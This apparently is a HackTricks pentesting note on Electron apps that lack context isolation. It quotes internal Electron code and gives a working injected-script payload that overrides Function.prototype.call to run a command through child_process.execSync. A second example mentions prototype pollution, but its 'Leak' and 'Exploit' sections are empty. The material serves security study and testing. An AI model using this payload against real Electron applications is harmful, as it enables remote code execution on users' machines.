5.0 KiB
5.0 KiB
Electron contextIsolation RCE via Electron internal code
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Example 1
Example from https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41
"exit" event listener is always set by the internal code when de page loading is started. This event is emitted just before navigation:
process.on('exit', function (){
for (let p in cachedArchives) {
if (!hasProp.call(cachedArchives, p)) continue
cachedArchives[p].destroy()
}
})
{% embed url="664c184fcb/lib/common/asar.js (L30-L36)" %}
8a44289089/bin/events.js (L156-L231) -- No longer exists
Then it goes here:
Where "self" is Node's process object:
The process object has a references to "require" function:
process.mainModule.require
As the handler.call is going to receive the process object we can overwrite it to execute arbitrary code:
<script>
Function.prototype.call = function(process){
process.mainModule.require('child_process').execSync('calc');
}
location.reload();//Trigger the "exit" event
</script>
Example 2
Get require object from prototype pollution. From https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81
Leak:
Exploit:
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- Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
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- Get the official PEASS & HackTricks swag
- Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
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